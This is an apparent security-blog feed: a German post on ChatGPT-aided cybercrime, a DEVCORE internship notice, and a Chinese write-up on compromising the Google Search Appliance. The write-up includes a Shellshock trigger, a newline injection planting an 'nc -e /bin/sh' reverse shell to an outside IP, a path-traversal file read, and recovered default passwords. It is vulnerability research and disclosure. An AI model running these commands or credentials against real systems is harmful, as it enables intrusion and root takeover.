Der funktionierende Keylogger mit ChatGPT erstellt

Künstliche Intelligenz und Cyberkriminalität: Eine eskalierende Gefahr

Die israelische Cybersecurity-Firma Check Point hat eine alarmierende Entwicklung festgestellt: Immer mehr Personen ohne tiefgreifende IT-Kenntnisse wenden sich der Cyberkriminalität zu. Sie nutzen die Möglichkeiten der Künstlichen Intelligenz, um ihre illegalen Aktivitäten zu verschleiern und ihre kriminellen Fähigkeiten zu erweitern. Ein besorgniserregender Trend ist der weltweite Handel mit gehackten Konten des KI-Systems ChatGPT. Diese Konten werden von Kriminellen genutzt, um ihre Spuren zu verwischen und ihre kriminellen Kapazitäten zu steigern. Dies unterstreicht, dass KI nicht nur ein Werkzeug für technisch versierte Hacker ist. Sie eröffnet auch Personen ohne umfangreiche IT-Kenntnisse neue Möglichkeiten, ihre kriminellen Aktivitäten zu intensivieren. Es ist daher von entscheidender Bedeutung, dass wir uns dieser wachsenden Bedrohung bewusst sind und geeignete Maßnahmen ergreifen, um sie einzudämmen.

Die Notwendigkeit von Regulierung und Verantwortung

Angesichts der wachsenden Bedrohung durch KI-gesteuerte Cyberkriminalität ist es dringend notwendig, die Entwicklung und Anwendung von KI zu regulieren. Ethik-Professor Peter Dabrock von der Friedrich-Alexander-Universität Erlangen-Nürnberg und Mitglied der Plattform Lernende Systeme fordert „unbedingt Verantwortlichkeit“. Er plädiert ausdrücklich für Haftungs- und Verbraucherschutzregeln, um sicherzustellen, dass die Verantwortung für die Handlungen von KI immer bei Menschen liegt.

Blick in die Zukunft – Die Regulierung von KI

Aktuell befindet sich in der Europäischen Union ein umfassendes Regelwerk zur KI, der sogenannte AI Act, in der Ausarbeitungsphase. Es wird erwartet, dass die Umsetzung dieses Regelwerks in den Mitgliedsstaaten bis zum Jahr 2025 abgeschlossen sein wird. Das Bundesinnenministerium bestätigt auf Nachfrage, dass die Thematik der KI-Regulierung aktuell auf EU-Ebene verhandelt wird und die Bundesregierung diese Verhandlungen aktiv begleitet. Dies verdeutlicht, dass die Frage der KI-Regulierung ein dringendes und aktuelles Anliegen ist, das auf höchster politischer Ebene behandelt wird.

KI – Ein zweischneidiges Schwert

Connor Leahy, ein führender KI-Experte aus London und Leiter des Unternehmens Conjecture, hebt hervor, dass Künstliche Intelligenz ein zweischneidiges Schwert ist. Sie birgt sowohl immense Möglichkeiten als auch erhebliche Risiken. „Eine KI, die das Potenzial hat, neue Medikamente zu entwickeln, hat auch die Fähigkeit, biologische Waffen zu konstruieren“, warnt Leahy. Heutzutage kann eine KI sogar Formeln für Betäubungsmittel, Drogen und chemische Waffen generieren. Diese Tatsache betont die dringende Notwendigkeit, die Entwicklung und Anwendung von KI zu regulieren. Es unterstreicht auch die wichtige Rolle von Cyber-Sicherheitsexperten wie Florian Hansemann, die uns vor solchen Bedrohungen schützen und uns dabei helfen, die Vorteile der KI sicher und verantwortungsvoll zu nutzen.

Die Gefahren der KI (Künstlichen Intelligenz) sind noch nicht abzuschätzen

Fazit

Die Ergebnisse des Experiments, das in dem ARD PLUSMINUS Beitrag vorgestellt wurde, sind ein Weckruf für uns alle. Sie zeigen, dass die fortschreitende Entwicklung der KI-Technologie nicht nur enorme Möglichkeiten, sondern auch ernsthafte Risiken mit sich bringt. Die Tatsache, dass eine KI wie ChatGPT in der Lage ist, einen funktionsfähigen Schadcode zu schreiben und eine Phishing-E-Mail zu erstellen, zeigt, dass Cyberkriminalität nicht mehr nur das Gebiet von hochqualifizierten Hackern ist. Selbst Laien könnten potenziell die Fähigkeiten von KI nutzen, um Schadcode zu schreiben und zu verbreiten.

Dies unterstreicht die dringende Notwendigkeit, die Entwicklung und Anwendung von KI zu regulieren und gleichzeitig die Bedeutung von Cyber-Sicherheitsexperten wie Florian Hansemann hervorzuheben. Als Gründer von HanseSecure und renommierter Experte in seinem Feld hat Florian Hansemann nicht nur die Fähigkeiten und das Wissen, um uns vor solchen Bedrohungen zu schützen, sondern auch die Vision, um die zukünftige Entwicklung der Cyber-Sicherheit mit zu gestalten.

Sie können den vollständigen ARD PLUSMINUS Beitrag zur gefährlichen KI hier ansehen.

Florian Hansemann im ARD Beitrag zum Thema ChatGPT-Hacking

Der Beitrag Die dunkle Seite der KI – Wie ChatGPT zum Werkzeug für Cyberkriminalität wird erschien zuerst auf HanseSecure GmbH.

DEVCORE 2023 第四屆實習生計畫

17 July 2023 at 16:00

DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第三屆實習生計畫也將於今年 7 月底告一段落。我們很榮幸地宣佈,第四屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web 導師會與學生討論並確定一個以學生的期望為主的實習目標,並在過程輔導成長以完成目標,內容可以是深入研究近年常見新型態漏洞、攻擊手法、開源軟體,或是程式語言生態系的常見弱點,亦或是展現你的技術力以開發與紅隊相關的工具。
    • 漏洞、攻擊手法或開發工具研究 90%
    • 成果報告與準備 10%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2023 年 9 月開始到 2024 年 1 月底,共 5 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
      • 如果居住雙北外可彈性調整(但須每個組別統一)
    • 其餘時間皆為遠端作業

招募對象

具有一定程度資安背景的學生,且可每週工作兩天。

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷內容
  • 簡答題答案
    • 題目 1:請提出三個,你印象最深刻或感到有趣、於西元 2021 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。
    • 題目 2:實習期間想要研究的主題,請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如:
      • 研究◯◯開源軟體,找到可 RCE 的重大風險弱點。
      • 研究 AD CS 的攻擊手法,嘗試挖掘新的攻擊可能性或向量。
      • 研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。

本階段收件截止時間為 2023/08/11 23:59,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在 10 個工作天內回覆。

第二階段:面試

此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

時間軸

  • 2023/07/19 - 2023/08/11 公開招募
  • 2023/08/14 - 2023/08/24 面試
  • 2023/08/28 前回應結果
  • 2023/09/04 第四屆實習計畫於當週開始

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2023/08/11 23:59 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • MBTI 職業性格測試結果(測試網頁

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

[REL] 深入破解 Google Search Appliance

6 July 2023 at 16:00

English Version, 中文版本

懶人包

  • GSA 管理界面認證後任意指令執行
  • GSA 搜尋介面任意讀檔
  • GSA 使用 Oracle 的 Outside-in Technology 轉換文件格式
  • Google 網頁服務有一些固定的URI,會提供此服務的自身資訊

前言

Google Search Appliance (以下簡稱 GSA ) 是 Google 於2002 年開始為企業推出的搜尋設備,主要功能為放置於企業內網用於索引內部網路資訊並提供檢索。於 2005 年左右推出給個人及小型企業使用的 Google Mini,於 2008 年底左右有發布虛擬機器版本,名稱為 Virtual Google Search Appliance (以下簡稱 vGSA),後來於 2018年底結束產品生命週期,產品線整合進入 Cloud Search。

設備、軟體取得

從 ebay 以關鍵字 Google Search Appliance 搜尋並嘗試購買此設備, 如果不幸硬碟資料已被清除,也只能嘗試多買幾台了。

幸運的是,購入的第一台就是未遭完整清除的 GSA:

現在仍然可以找到正在被販售的設備:

另一方面 vGSA 原始公開連結已被移除, http://dl.google.com/vgsa/vgsa\_20090210.7z [已被移除] http://dl.google.com/vgsa/vgsa\_20081028.7z [已被移除]

後來用 BitTorrent 磁力連結 magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992 成功取得檔案。

接著再從 google groups 中找到舊版軟體連接:https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ

連結為:http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [已被移除]

由公開網頁中,可取得版本號碼: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671

猜測檔案名稱規則為 install_bundle-10000(三位數字)-7.(一位數字).(數字)-(三位數字).bin

並編寫 shell script 嘗試下載:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

加上網路搜尋到的資料,成功取回以下檔案:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (Virtual Google Search Appliance)

接著開始 VGSA 的研究,預設情況下完成匯入虛擬機後此系統只提供了一個網路設定的功能, 沒有提供 shell 可供操作使用。但是由於虛擬機器是執行在自己環境上, 所以通常可以透過下列方式取得系統權限:

  • 直接修改未加密的磁碟機檔案
  • 修改虛擬機記憶體內容
  • 使用其他作業系統光碟或磁碟開機
  • 其他已知漏洞
  • 寫死的管理員或系統帳號、密碼

下圖為 vGSA 網路設定畫面:

CVE-2014-6271

當測試早期的 Linux 設備及服務,尤其是使用 RedHat 系列的作業系統時,通常會有 Shellshock 的漏洞, 而發布日期再2008的 vGSA 也不例外。dhcp server 中插入 option 114 會被設置於環境變數,從而觸發漏洞,執行任意指令:

指令為:useradd zzzzgsa,可以從主控台輸出中看到此指令被重複執行,並產生錯誤訊息。

vGSA 觀察

成功取得作業系統權限後,進行網路環境、執行程式、檔案系統的觀察,以下是作業系統環境觀察心得:

  • 版本號為 5.2.0.G.27。
  • 服務主要由 C/C++、java、python 編寫
  • /export/hda3 似乎是服務主要使用的目錄
  • /etc/shadow 存在帳號 root、密碼雜湊為 x███████████M
  • 管理介面 8000、8443 預設管理密碼為 j0njlRXpU5CQ
  • /.gnupg 存在 ent_box_key 公私鑰。
  • /.gnupg 存在 google_license_key 公鑰。
  • /.ssh/authorized_keys 存在兩組公鑰。
  • /root/.ssh/authorized_keys 存在一組公鑰。
  • /root/.ssh/ 存在兩組ssh 公私鑰。
  • /root/.gnupg/ 存在 ent_box_key 公私鑰。
  • 使用 Oracle 公司的 Outside In Technology 將文件轉換為 html網頁。
  • java 執行環境使用 Security Manager 保護。
  • 請求工程師支援功能使用 ppp 建構虛擬私有網路, /etc/ppp/chap-secrets 存有帳號密碼 ( z██████c、]███████T )
  • /etc/lilo.conf中的開機選單密碼為 cmBalx7
  • /export/hda3/versionmanager/google_key.symmetric 有一把疑似為對稱式加密使用的密碼
  • /export/hda3/versionmanager/vmanager_passwd 存在兩組帳密組合 ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= )

而具有網路服務的執行程式的觀察如下:

通訊埠 服務名稱 程式編寫語言 服務說明
22 ssh C/C++ OpenSSH Server
53 named C/C++ Bind Named
953 named C/C++ Bind Named
1111 webserver_config python Installer
2100 adminrunner.py python enterpriseconsole backend
3990 monitor C/C++ monitor
4000 rtserver C/C++ 未知
4430 EnterpriseFrontend Java (with security manager) https 前端
4911 borgmon C/C++ borgmon
4916 reactor C/C++ 未知
5000 rtserver C/C++ 未知
5600 rtserver C/C++ 未知
6600 cacheserver C/C++ 未知
7800 EnterpriseFrontend Java (with security manager) 未知
7880 TableServer Java (with security manager) 未知
7882 AuthzChecker Java (without security manager) 未知
7886 tomcat Java tomcat server
8000 EnterpriseAdminConsole Java (without security manager) 未知
8443 stunnel C/C++ redirect http to https
8888 GWS C/C++ 未知
9300 oneboxserver C/C++ 未知
9328 entspellmixer C/C++ 未知
9400 mixserver C/C++ 未知
9402 mixserver C/C++ 未知
9448 qrewrite C/C++ 未知
9450 EnterpriseAdminConsole Java (without security manager ) 未知
10094 enterprise_onebox C/C++ 未知
10200 clustering_server C/C++ 未知
11913 sessionmanager C/C++ 未知
12345 RegistryServer Java (without security manager) 未知
19780 configmgr/ent_configmgr.py python 未知
19900 feedergate C/C++ 未知
21200 FileSystemGateway Java (with security manager) 未知
31300 rtserver C/C++ 未知

雖然有這麼多服務,但是 iptables 阻擋了大部分的連線,以下是 iptables 設定:

# Redirect privileged ports.
# (we listen as nobody, which can't attach to low ports, so redirect to high ports)
#
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

整理出來實際可存取的TCP 攻擊面:

通訊埠 服務名稱 程式執行檔所在位置
22 ssh /usr/sbin/sshd
7800 EnterpriseFrontend /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
4430 EnterpriseFrontend /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
19900 feedergate /export/hda3/5.2.0/local/google/bin/feedergate
8000 EnterpriseAdminConsole /export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar
8443 stunnel /usr/sbin/stunnel

而我們發現 /export/hda3/versionmanager/google_key.symmetric 中的字串可以用來解密所有 install_bundle 的內容! 使用 CVE-2014-6271 取得權限加上可以解出 install bundle 中的內容後,對 vGSA 的研究就暫時告一段落, 其執行環境中記憶體的保護較為缺少,可能有機會存在弱點並利用:

GSA

安裝設備後嘗試更改開機順序,但發現進入BIOS需要密碼,且磁碟介面卡的管理介面中 Dell H700 僅有部分功能可以操作:

接著嘗試直接讀取硬碟內容,如果硬碟內容沒有加密,有機會能直接取得設備作業系統及軟體。 我們發現其硬碟使用SAS 介面進行傳輸,嘗試前還需購買SAS 卡,本次測試使用LSI 9211-8i 進行連結:

連接嘗試讀取後發現到這是一個自我加密 SED 磁碟,需要密碼unlock 才能存取,OSSLab 這邊有更詳細的解釋:

https://www.osslab.com.tw/ata-sed-security/ (中文)

在無法直接存取硬碟的情況下有幾種方式可以繼續嘗試:

  • 嘗試讀出於BIOS EEPROM 中的密碼,並更改開機順序

此方式需要破壞主機板,有一定風險,於軟體層找不到漏洞才會使用此種方式。 可參考這篇研究 https://blog.cybercx.co.nz/bypassing-bios-password (英文)

  • 使用 PCILeech 讀取、寫入記憶體並取得系統權限

此方式需要特定PCI-e 設備,當時還沒有準備此類設備。可以參考這個 github 專案:

https://github.com/ufrisk/pcileech

  • 尋找可存取服務之軟體漏洞

此方式較為簡單可行。

管理介面換行字元插入

登入管理介面後,觀察到其中有 SNMP 取得系統資訊的功能, 且此功能可以插入自定義字串:

這邊嘗試經典的換行注入:

將 sysContact 插入

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

插入 extend 設定值之後,就可以用 snmpwalk 觸發 SNMP 的extend 功能, 並執行 shell。

成功執行指令並反連。

任意讀檔

於 GSA 6.x 系列版本後的 RPM 安裝包中發現其 80/443 的網頁服務使用 Apache httpd, 其中位於 /etc/httpd/conf.d/ 中有許多的設定。 而其中 gsa-http.conf 及 gsa-https.conf 可以發現某些目錄會被導向至本機特定的服務:

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

其中通訊埠為 7886 跟 7890 的服務為另外執行的 Apache Tomcat 伺服器,當串接兩層以上的網站伺服器時, Tomcat 的路徑判斷 ..;/ 是一個有趣的測試點,可以參閱一位老前輩的文章:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

而我們有興趣的點為 dps ,這似乎沒有在舊版的 GSA 中看到。 從 dps.war 中解出 /WEB-INF/web.xml 觀察網頁應用配置,並發現 /font 會呼叫 com.documill.dps.connector.servlet.user.DPSDownloadServlet

  <servlet>
    <servlet-name>font</servlet-name>
    <servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class>
    <init-param>
      <param-name>rootDirectory</param-name>
      <param-value>work/fonts/</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>font</servlet-name>
    <url-pattern>/font/*</url-pattern>
  </servlet-mapping>

接著查看 DPSDownloadServlet:

import com.davisor.net.servlet.DownloadServlet;
import com.documill.dps.*;
import java.io.*;
import javax.servlet.ServletContext;

public class DPSDownloadServlet extends DownloadServlet
    implements DPSUserService
{

    public DPSDownloadServlet()
    {
    }

    protected String getRealPath(ServletContext servletcontext, String s)
        throws IOException
    {
        DPS dps = DPSSingleton.getDPS();
        File file = dps.getHomeDir();
        if(file == null)
            throw new FileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");
        else
            return (new File(file, s)).getAbsolutePath();
    }

    private static final long serialVersionUID = 0L;
}

發現此類別是繼承自 com.davisor.net.servlet.DownloadServlet,跟進此類別:

    protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s = httpservletrequest.getParameter(uriParameterName);
        if(!isValid(s))
        {
            httpservletresponse.sendError(400, (new StringBuilder()).append("Invalid file path: ").append(s).toString());
            return;
        }
        File file = rootDirectory.deriveFile(s);
        if(!file.isFile())
            httpservletresponse.sendError(404, (new StringBuilder()).append("No file:").append(s).toString());
        else
        if(!file.canRead())
        {
            httpservletresponse.sendError(403, (new StringBuilder()).append("Unreadable file:").append(s).toString());
        } else
        {
            long l = file.length();
            if(l > 0x7fffffffL)
            {
                httpservletresponse.sendError(413, (new StringBuilder()).append("File too big:").append(l).toString());
            } else
            {
                String s1 = MIME.getTypeFromPath(file.getName(), "application/octet-stream");
                httpservletresponse.setContentLength((int)l);
                httpservletresponse.setContentType(s1);
                httpservletresponse.setDateHeader("Last-Modified", file.lastModified());
                if(cacheExpires > 0L)
                {
                    httpservletresponse.setDateHeader("Expires", System.currentTimeMillis() + cacheExpires);
                    httpservletresponse.setHeader("Cache-Control", "public");
                }
                IO.copy(file, httpservletresponse.getOutputStream());
            }
        }
    }
    private static boolean isValid(String s)
    {
        return !Strings.isEmpty(s) && !s.contains("..");
    }

可以發現此處只有檢查字串是否含有 .. ,但我們可以直接指定絕對路徑。 並直接讀取本機任意檔案!

舊版GSA 沒有 /font 這個端點,但 /dps/admin 有類似的讀檔問題,可以直接指定 logName 進行檔案讀取, 可參考下圖直接讀取系統管理介面帳號密碼檔:

成功破解雜湊後,登入後可以開啟 SNMP 服務配合第一個漏洞並以 root 權限執行任意指令。

其他發現跟整理

服務本身內部網址

GSA 中有許多的子服務間使用 HTTP 傳輸協定溝通,而在許多服務都有提供 /varz、/helpz、/procz 等網址, 可以在服務定義的信任網路位置或 127.0.0.1 中存取:

而在 vGSA 中觀察到服務執行參數有 useripheader=X-User-Ip ,導致對外開放的管理介面可以帶入 X-User-IP 請求頭後直接存取此功能:

/procz 端點甚至可以抓取執行檔及使用到的共享函示庫:

型號整理

型號 製造商及型號 硬體規格 版號 文件數量
Google Mini Gigabyte Pentium III 1G / 2GB memory / 120G 3.4.14 300,000
Google Mini-002X SuperMicro Pentium 4 3G / 2GB memory / 250G HDD 5.0.0 未知
Google GB-1001 Dell Poweredge 2950 Xeon / 16GB memory / 1.25TB HDD 未知 3,000,000
Google GB-1002 Gigabyte 未知 未知 未知
Google GB-7007 Dell R710 Xeon E5520 / 48GB memory / 3TB HDD 未知 10,000,000
Google GB-9009 未知 Xeon X5560 / 96GB memory / 3.6TB HDD 未知 30,000,000
Google G100 Dell R720XD 未知 未知 未知
Google G500 未知 未知 未知 未知

核心版本

GSA 版本 核心版本
7.6.0 Linux version 3.14.44_gsa-x64_1.5 ([email protected]) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.4.0 未知
7.2.0 Linux version 3.4.3_gsa-x64_1.5 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14 Linux version 3.4.3_gsa-x64_1.3 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0 Linux version 2.6.20_vmw-smp_3.1 ([email protected]) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008

時間軸

時間 事件
2005/06/10 Java Code Injection CVE-2005-3757 被 H D Moore 回報
2008 上半年 釋出 GSA 5.0
2008/10/28 釋出 vgsa_20081028.7z (5.2.0)
2013/04/20 釋出 GSA 6.14.0.G28
2014/03/20 XSS 漏洞 CVE-2014-0362 被 Will Dormann 回報
2014/10/01 釋出 GSA 7.0.14.G238
2014/10/03 釋出 GSA 7.2.0.G252
2014/12/12 釋出 GSA 7.2.0.G264
2015/02/07 釋出 GSA 7.2.0.G270
2015/04/15 釋出 GSA 7.4.0.G64
2015/04/22 釋出 GSA 7.4.0.G72
2015/04/30 釋出 GSA 7.4.0.G74
2015/06/04 釋出 GSA 7.4.0.G82
2016 上半年 Google 宣布 GSA 將會逐步退出市場
2016/01/05 XML 外部實體攻擊 被 Timo 回報
2016/05/24 釋出 GSA 7.6.0.G36
2016/07/01 釋出 GSA 7.6.0.G42
2016/07/31 本文作者取得此設備,版本為 7.0.14
2016/08/25 釋出 GSA 7.6.0.G46
2016/10/21 釋出 GSA 7.6.0.G58
2017/01/19 釋出 GSA 7.6.50.G30
2017/04/19 釋出 GSA 7.6.50.G36
2017/07/28 釋出 GSA 7.6.50.G64
2017/11/09 釋出 GSA 7.6.250.G12
2017/12/28 最後能訂購 GSA 的日期
2018/01/17 釋出 GSA 7.6.250.G20
2018/03/21 釋出 GSA 7.6.250.G26
2018/06/15 釋出 GSA 7.6.360.G10
2018/10/08 釋出 GSA 7.6.360.G16
2019/04/26 釋出 GSA 7.6.512.G18,應該為最後一個版本
2021/08/16 回報漏洞
2021/08/16 收到機器人回應確認收到回報信件
2021/08/16 問題於 issuetracker.google.com 被指派
2021/08/18 Google 提示漏洞不符合獎金條件,但會於下次會議再次討論
2021/08/20 確認漏洞不發放獎金
2021/11/01 詢問漏洞是否會指派 CVE 漏洞編號
2021/11/02 確認不會有 CVE 漏洞編號
2023 上半年 開始編寫文章
2023/06/04 初稿完成

結論

雖然 GSA/vGSA 已經是結束生命周期的產品,但研究 Google 如何對設備去增加產品的安全性及減少攻擊向量 可以增加平常較少接觸的知識面。雖然文中沒有詳細說明,包含如使用 Java 的 Security Manager, Linux Kernel 的 seccomp 都是 GSA 中有使用的技術,而本次研究中也留下一些可供後續研究的目標:

  • feedergate 服務
  • Oracle 的 Outside-in Technology 轉換文件格式的記憶體漏洞
  • convert_to_html seccomp sandbox

有研究成果時再跟大家分享,下次見。

其他參考網址

[REL] A Journey Into Hacking Google Search Appliance

6 July 2023 at 16:00

English Version, 中文版本

TL;DR

  • GSA Admin console post-authentication Remote Code Execution.
  • GSA Search interface Path traversal.
  • GSA uses Oracle’s Outside-in Technology to convert documents.
